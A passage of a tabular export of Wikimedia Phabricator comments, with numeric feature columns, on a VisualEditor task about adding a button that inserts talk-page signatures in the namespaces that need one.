This is not possible. We intentionally do not allow the toolbar to vary in the position of buttons on the same wiki.",,,1466602060,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,155,,0.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8214285714285714,"QUOTE
QUOTE

This is not possible. We intentionally do not allow the toolbar to vary in the position of buttons on the same wiki."
682787,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?) (discussed on cswiki; just asking if possible),,,1466559576,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,16.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,5.0,5.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6842105263157894,0.8421052631578947,Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?) (discussed on cswiki; just asking if possible)
682786,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?) (cswiki; in discussion, just asking if possible)",,,1466559547,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,5.0,5.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.641025641025641,0.8461538461538461,"Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?) (cswiki; in discussion, just asking if possible)"
682785,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?),,,1466559506,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,7.0,4.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?)
563852,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Change 251834 merged by jenkins-bot:
Provide a tool to insert a signature in namespaces that need it

[[https://gerrit.wikimedia.org/r/251834]]",,,1447719403,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,124,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,3.740740740740741,0.8888888888888888,"Change 251834 merged by jenkins-bot:
Provide a tool to insert a signature in namespaces that need it

[[GERRIT_URL]]"
560016,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Change 251834 had a related patch set uploaded (by Bartosz Dziewoński):
Provide a tool to insert a signature in namespaces that need it

[[https://gerrit.wikimedia.org/r/251834]]
",,,1447004908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,122,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,15.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,3.9696969696969697,0.8484848484848485,"Change 251834 had a related patch set uploaded (by Bartosz Dziewoński):
Provide a tool to insert a signature in namespaces that need it

[[GERRIT_URL]]
"
521764,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Hmm, and so it seems that the $wgExtraSignatureNamespaces functionality provided by https://gerrit.wikimedia.org/r/87649 (T7645) was actually merged, even thought it looked hopeless a year ago. I think we can go ahead with migrating my gadget to VisualEditor proper, and enabling the signature inserting tool only in those namespaces.",,,1441556932,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,113,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,5.0,2.0,9.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,9.0,9.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.763636363636364,0.8909090909090909,"Hmm, and so it seems that the $wgExtraSignatureNamespaces functionality provided by GERRIT_URL (T7645) was actually merged, even thought it looked hopeless a year ago. I think we can go ahead with migrating my gadget to VisualEditor proper, and enabling the signature inserting tool only in those namespaces."
430387,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,">>! In T53154#1138179, @Juandev wrote:
> Thank you for the code. Could the user also add a special button to VE or is it a difficult cooding? 

Per the task description and per my previous comment, there is a gadget that implements this that you can easily enable for yourself, or on your wiki.",,,1426958719,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,9.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,4.029411764705882,0.9117647058823529,"QUOTE
QUOTE

Per the task description and per my previous comment, there is a gadget that implements this that you can easily enable for yourself, or on your wiki."
430385,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,,,,1426958667,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
430384,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,,,,1426958656,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
430371,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,">>! In T53154#537004, @AdHuikeshoven wrote:
> Adding a signature with VisualEditor can be simulated using a template:
> 
> ---template code:---
> {{{Sign}}}
> <noinclude>
> This template allows to sign using Visual Editor by adding this template as you can't enter four tildes <nowiki>~~~~</nowiki> in VE. Enter the template in VE. Hit Add template. Enter <nowiki>~~~~</nowiki> in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save. Doone.</br>
> <templatedata>
> {
> 	""description"": ""A template to sign using Visual Editor. "",
> 	""params"": {
> 		""Sign"": {
> 			""aliases"": [
> 				""Signature""
> 			],
> 			""label"": ""Sign by entering ~~~~ in the field below"",
> 			""description"": ""Field to enter signature, that is four tildes"",
> 			""default"": ""Please enter four tildes here"",
> 			""required"": true
> 		}
> 	}
> }
> </templatedata>
> </noinclude>
> ---end of template code---
> 
> Usage:
> Enter the template in VE. Hit Add template. Enter ~~~~ in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save.
> 
> Example:
> See https://www.mediawiki.org/wiki/Template:VESign. Application of template tested on https://www.mediawiki.org/wiki/User:Ad_Huikeshoven/test. 
> 
> Evaluation:
> There might be nicer methods to accomplish the same, maybe using JS (I have no experiene writing JS). When there is a switch over to Parsoid rendering the templates mid-edit rather than relying on PHP parser the above solution will probably break, as will probably do any solution to bug 51146.

Thank you for the code. Could the user also add a special button to VE or is it a difficult cooding? ",,,1426954578,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,41.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,38.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.131868131868132,0.26373626373626374,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thank you for the code. Could the user also add a special button to VE or is it a difficult cooding? "
421400,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,I updated the description with information about the gadget implementing this feature.,,,1425561628,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.769230769230769,0.9230769230769231,I updated the description with information about the gadget implementing this feature.
421379,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,@Pine: Yes I'd object. :) Please see T53154#536989,,,1425558453,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,18.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,1.0,SCREEN_NAME: Yes I'd object. :) Please see T53154#536989
421285,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,Would anyone object to bumping up the priority of this to normal?,,,1425544467,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,87,,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,31.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.153846153846154,0.9230769230769231,Would anyone object to bumping up the priority of this to normal?
418557,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Like @AdHuikeshoven, I just ran into the use case where I can't sign myself to a list of Wikimania talk attendees.",,,1425083820,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,86,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,17.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,13.0,4.0,0.0,0.0,0.0,13.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.9565217391304348,"LikeSCREEN_NAME, I just ran into the use case where I can't sign myself to a list of Wikimania talk attendees."
231869,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Yes, I've moved it to talk space. Sorry I didn't catch that earlier.",,,1412362166,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.111111111111111,0.8888888888888888,"Yes, I've moved it to talk space. Sorry I didn't catch that earlier."
231866,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to Pine from comment #22)
> Perhaps someone enabled VE on talk pages when they shouldn't have?
> 
> It's enabled on https://meta.wikimedia.org/wiki/Grants:APG/Comments

Argh. That's not a talk page. You can tell because the talk page would be https://meta.wikimedia.org/wiki/Grants talk:APG – this is really unhelpful of people to use the wrong namespace. I'm sorry about that. :-(",,,1412362031,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,65,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,19.0,2.0,0.0,10.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,12.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.2711864406779663,0.7966101694915254,"(In reply to Pine from comment #22)
QUOTE
QUOTE
QUOTE

Argh. That's not a talk page. You can tell because the talk page would be URL talk:APG – this is really unhelpful of people to use the wrong namespace. I'm sorry about that. :-("
231861,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Ah, I see. That's not really labeled as a talk page on Meta, but it probably should be. I'll try to take care of that.",,,1412362011,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,9.0,12.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.9375,0.875,"Ah, I see. That's not really labeled as a talk page on Meta, but it probably should be. I'll try to take care of that."
231855,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Perhaps someone enabled VE on talk pages when they shouldn't have?

It's enabled on https://meta.wikimedia.org/wiki/Grants:APG/Comments",,,1412361949,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,65,,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,5.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,0.8947368421052632,"Perhaps someone enabled VE on talk pages when they shouldn't have?

It's enabled on URL"
231849,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to Pine from comment #20)
> I am raising the priority of this bug. VisualEditor is now enabled for talk
> pages on Meta, yet I can't insert my signature using VisualEditor, which is
> a major shortcoming. Please fix!

What talk pages is it enabled for? Can you give an example? It doesn't appear on the talk pages I just looked at. This feels like a distinct bug.

Please read the history of this bug for why this is explicitly outside of the plans for VisualEditor; it's fundamentally the wrong approach. Resetting priority.",,,1412361791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,65,,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,6.0,1.0,4.0,2.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,16.0,1.0,0.0,11.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,6.0,14.0,4.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.753086419753086,0.7407407407407407,"(In reply to Pine from comment #20)
QUOTE
QUOTE
QUOTE

What talk pages is it enabled for? Can you give an example? It doesn't appear on the talk pages I just looked at. This feels like a distinct bug.

Please read the history of this bug for why this is explicitly outside of the plans for VisualEditor; it's fundamentally the wrong approach. Resetting priority."
231844,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"I am raising the priority of this bug. VisualEditor is now enabled for talk pages on Meta, yet I can't insert my signature using VisualEditor, which is a major shortcoming. Please fix!",,,1412361008,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,16.0,0.0,3.0,11.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,4.026315789473684,0.868421052631579,"I am raising the priority of this bug. VisualEditor is now enabled for talk pages on Meta, yet I can't insert my signature using VisualEditor, which is a major shortcoming. Please fix!"
231837,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"It seems that bug 5645 which I thought to be a dependency is not going to be fixed in a useful way. The only way to proceed would be reimplementing the namespace selection logic in VE, which I'm wary of. I don't know how to proceed with this, I guess we'll be stuck with the gadget for the time being.",,,1406412781,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,3.0,3.0,4.0,1.0,0.0,0.0,0.0,3.0,4.0,0.0,1.0,0.0,7.0,1.0,4.0,16.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,7.0,4.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,9.0,9.0,10.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,9.0,16.0,1.0,0.0,0.0,0.0,9.0,0.0,4.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5588235294117645,0.7058823529411765,"It seems that bug 5645 which I thought to be a dependency is not going to be fixed in a useful way. The only way to proceed would be reimplementing the namespace selection logic in VE, which I'm wary of. I don't know how to proceed with this, I guess we'll be stuck with the gadget for the time being."
231831,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Actually, a $wg config variable for this is not a very good idea. We should just be smart and display the signature button in the namespaces that need it (and no others).

